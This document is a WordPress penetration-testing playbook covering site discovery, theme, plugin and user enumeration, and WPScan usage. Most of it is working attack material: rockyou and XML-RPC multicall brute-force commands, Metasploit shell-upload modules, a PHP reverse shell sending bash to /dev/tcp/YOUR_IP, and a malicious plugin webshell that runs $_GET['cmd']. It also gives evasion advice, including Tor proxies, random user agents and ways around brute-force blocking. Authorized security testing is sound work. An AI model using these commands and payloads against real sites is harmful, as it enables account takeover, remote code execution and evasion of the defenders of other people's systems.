WordPress Penetration Testing

Purpose

Conduct comprehensive security assessments of WordPress installations including enumeration of users, themes, and plugins, vulnerability scanning, credential attacks, and exploitation techniques. WordPress powers approximately 35% of websites, making it a critical target for security testing.

Prerequisites

Required Tools

• WPScan (pre-installed in Kali Linux)
• Metasploit Framework
• Burp Suite or OWASP ZAP
• Nmap for initial discovery
• cURL or wget

Required Knowledge

• WordPress architecture and structure
• Web application testing fundamentals
• HTTP protocol understanding
• Common web vulnerabilities (OWASP Top 10)

Outputs and Deliverables

1. WordPress Enumeration Report - Version, themes, plugins, users
2. Vulnerability Assessment - Identified CVEs and misconfigurations
3. Credential Assessment - Weak password findings
4. Exploitation Proof - Shell access documentation

Core Workflow

Phase 1: WordPress Discovery

Identify WordPress installations:

# Check for WordPress indicators
curl -s http://target.com | grep -i wordpress
curl -s http://target.com | grep -i "wp-content"
curl -s http://target.com | grep -i "wp-includes"

# Check common WordPress paths
curl -I http://target.com/wp-login.php
curl -I http://target.com/wp-admin/
curl -I http://target.com/wp-content/
curl -I http://target.com/xmlrpc.php

# Check meta generator tag
curl -s http://target.com | grep "generator"

# Nmap WordPress detection
nmap -p 80,443 --script http-wordpress-enum target.com

Key WordPress files and directories:

• /wp-admin/ - Admin dashboard
• /wp-login.php - Login page
• /wp-content/ - Themes, plugins, uploads
• /wp-includes/ - Core files
• /xmlrpc.php - XML-RPC interface
• /wp-config.php - Configuration (not accessible if secure)
• /readme.html - Version information

Phase 2: Basic WPScan Enumeration

Comprehensive WordPress scanning with WPScan:

# Basic scan
wpscan --url http://target.com/wordpress/

# With API token (for vulnerability data)
wpscan --url http://target.com --api-token YOUR_API_TOKEN

# Aggressive detection mode
wpscan --url http://target.com --detection-mode aggressive

# Output to file
wpscan --url http://target.com -o results.txt

# JSON output
wpscan --url http://target.com -f json -o results.json

# Verbose output
wpscan --url http://target.com -v

Phase 3: WordPress Version Detection

Identify WordPress version:

# WPScan version detection
wpscan --url http://target.com

# Manual version checks
curl -s http://target.com/readme.html | grep -i version
curl -s http://target.com/feed/ | grep -i generator
curl -s http://target.com | grep "?ver="

# Check meta generator
curl -s http://target.com | grep 'name="generator"'

# Check RSS feeds
curl -s http://target.com/feed/
curl -s http://target.com/comments/feed/

Version sources:

• Meta generator tag in HTML
• readme.html file
• RSS/Atom feeds
• JavaScript/CSS file versions

Phase 4: Theme Enumeration

Identify installed themes:

# Enumerate all themes
wpscan --url http://target.com -e at

# Enumerate vulnerable themes only
wpscan --url http://target.com -e vt

# Theme enumeration with detection mode
wpscan --url http://target.com -e at --plugins-detection aggressive

# Manual theme detection
curl -s http://target.com | grep "wp-content/themes/"
curl -s http://target.com/wp-content/themes/

Theme vulnerability checks:

# Search for theme exploits
searchsploit wordpress theme <theme_name>

# Check theme version
curl -s http://target.com/wp-content/themes/<theme>/style.css | grep -i version
curl -s http://target.com/wp-content/themes/<theme>/readme.txt

Phase 5: Plugin Enumeration

Identify installed plugins:

# Enumerate all plugins
wpscan --url http://target.com -e ap

# Enumerate vulnerable plugins only
wpscan --url http://target.com -e vp

# Aggressive plugin detection
wpscan --url http://target.com -e ap --plugins-detection aggressive

# Mixed detection mode
wpscan --url http://target.com -e ap --plugins-detection mixed

# Manual plugin discovery
curl -s http://target.com | grep "wp-content/plugins/"
curl -s http://target.com/wp-content/plugins/

Common vulnerable plugins to check:

# Search for plugin exploits
searchsploit wordpress plugin <plugin_name>
searchsploit wordpress mail-masta
searchsploit wordpress slideshow gallery
searchsploit wordpress reflex gallery

# Check plugin version
curl -s http://target.com/wp-content/plugins/<plugin>/readme.txt

Phase 6: User Enumeration

Discover WordPress users:

# WPScan user enumeration
wpscan --url http://target.com -e u

# Enumerate specific number of users
wpscan --url http://target.com -e u1-100

# Author ID enumeration (manual)
for i in {1..20}; do
    curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/'
done

# JSON API user enumeration (if enabled)
curl -s http://target.com/wp-json/wp/v2/users

# REST API user enumeration
curl -s http://target.com/wp-json/wp/v2/users?per_page=100

# Login error enumeration
curl -X POST -d "log=admin&pwd=wrongpass" http://target.com/wp-login.php

Phase 7: Comprehensive Enumeration

Run all enumeration modules:

# Enumerate everything
wpscan --url http://target.com -e at -e ap -e u

# Alternative comprehensive scan
wpscan --url http://target.com -e vp,vt,u,cb,dbe

# Enumeration flags:
# at - All themes
# vt - Vulnerable themes
# ap - All plugins
# vp - Vulnerable plugins
# u  - Users (1-10)
# cb - Config backups
# dbe - Database exports

# Full aggressive enumeration
wpscan --url http://target.com -e at,ap,u,cb,dbe \
    --detection-mode aggressive \
    --plugins-detection aggressive

Phase 8: Password Attacks

Brute-force WordPress credentials:

# Single user brute-force
wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt

# Multiple users from file
wpscan --url http://target.com -U users.txt -P /usr/share/wordlists/rockyou.txt

# With password attack threads
wpscan --url http://target.com -U admin -P passwords.txt --password-attack wp-login -t 50

# XML-RPC brute-force (faster, may bypass protection)
wpscan --url http://target.com -U admin -P passwords.txt --password-attack xmlrpc

# Brute-force with API limiting
wpscan --url http://target.com -U admin -P passwords.txt --throttle 500

# Create targeted wordlist
cewl http://target.com -w wordlist.txt
wpscan --url http://target.com -U admin -P wordlist.txt

Password attack methods:

• wp-login - Standard login form
• xmlrpc - XML-RPC multicall (faster)
• xmlrpc-multicall - Multiple passwords per request

Phase 9: Vulnerability Exploitation

Metasploit Shell Upload

After obtaining credentials:

# Start Metasploit
msfconsole

# Admin shell upload
use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS target.com
set USERNAME admin
set PASSWORD jessica
set TARGETURI /wordpress
set LHOST <your_ip>
exploit

Plugin Exploitation

# Slideshow Gallery exploit
use exploit/unix/webapp/wp_slideshowgallery_upload
set RHOSTS target.com
set TARGETURI /wordpress
set USERNAME admin
set PASSWORD jessica
set LHOST <your_ip>
exploit

# Search for WordPress exploits
search type:exploit platform:php wordpress

Manual Exploitation

Theme/plugin editor (with admin access):

// Navigate to Appearance > Theme Editor
// Edit 404.php or functions.php
// Add PHP reverse shell:

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
?>

// Or use weevely backdoor
// Access via: http://target.com/wp-content/themes/theme_name/404.php

Plugin upload method:

# Create malicious plugin
cat > malicious.php << 'EOF'
<?php
/*
Plugin Name: Malicious Plugin
Description: Security Testing
Version: 1.0
*/
if(isset($_GET['cmd'])){
    system($_GET['cmd']);
}
?>
EOF

# Zip and upload via Plugins > Add New > Upload Plugin
zip malicious.zip malicious.php

# Access webshell
curl "http://target.com/wp-content/plugins/malicious/malicious.php?cmd=id"

Phase 10: Advanced Techniques

XML-RPC Exploitation

# Check if XML-RPC is enabled
curl -X POST http://target.com/xmlrpc.php

# List available methods
curl -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' http://target.com/xmlrpc.php

# Brute-force via XML-RPC multicall
cat > xmlrpc_brute.xml << 'EOF'
<?xml version="1.0"?>
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param><value><array><data>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password1</string></value>
</data></array></value></member>
</struct></value>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password2</string></value>
</data></array></value></member>
</struct></value>
</data></array></value></param>
</params>
</methodCall>
EOF

curl -X POST -d @xmlrpc_brute.xml http://target.com/xmlrpc.php

Scanning Through Proxy

# Use Tor proxy
wpscan --url http://target.com --proxy socks5://127.0.0.1:9050

# HTTP proxy
wpscan --url http://target.com --proxy http://127.0.0.1:8080

# Burp Suite proxy
wpscan --url http://target.com --proxy http://127.0.0.1:8080 --disable-tls-checks

HTTP Authentication

# Basic authentication
wpscan --url http://target.com --http-auth admin:password

# Force SSL/TLS
wpscan --url https://target.com --disable-tls-checks

Quick Reference

WPScan Enumeration Flags

| Flag | Description | |------|-------------| | -e at | All themes | | -e vt | Vulnerable themes | | -e ap | All plugins | | -e vp | Vulnerable plugins | | -e u | Users (1-10) | | -e cb | Config backups | | -e dbe | Database exports |

Common WordPress Paths

| Path | Purpose | |------|---------| | /wp-admin/ | Admin dashboard | | /wp-login.php | Login page | | /wp-content/uploads/ | User uploads | | /wp-includes/ | Core files | | /xmlrpc.php | XML-RPC API | | /wp-json/ | REST API |

WPScan Command Examples

| Purpose | Command | |---------|---------| | Basic scan | wpscan --url http://target.com | | All enumeration | wpscan --url http://target.com -e at,ap,u | | Password attack | wpscan --url http://target.com -U admin -P pass.txt | | Aggressive | wpscan --url http://target.com --detection-mode aggressive |

Constraints and Limitations

Legal Considerations

• Obtain written authorization before testing
• Stay within defined scope
• Document all testing activities
• Follow responsible disclosure

Technical Limitations

• WAF may block scanning
• Rate limiting may prevent brute-force
• Some plugins may have false negatives
• XML-RPC may be disabled

Detection Evasion

• Use random user agents: --random-user-agent
• Throttle requests: --throttle 1000
• Use proxy rotation
• Avoid aggressive modes on monitored sites

Troubleshooting

WPScan Shows No Vulnerabilities

Solutions:

1. Use API token for vulnerability database
2. Try aggressive detection mode
3. Check for WAF blocking scans
4. Verify WordPress is actually installed

Brute-Force Blocked

Solutions:

1. Use XML-RPC method instead of wp-login
2. Add throttling: --throttle 500
3. Use different user agents
4. Check for IP blocking/fail2ban

Cannot Access Admin Panel

Solutions:

1. Verify credentials are correct
2. Check for two-factor authentication
3. Look for IP whitelist restrictions
4. Check for login URL changes (security plugins)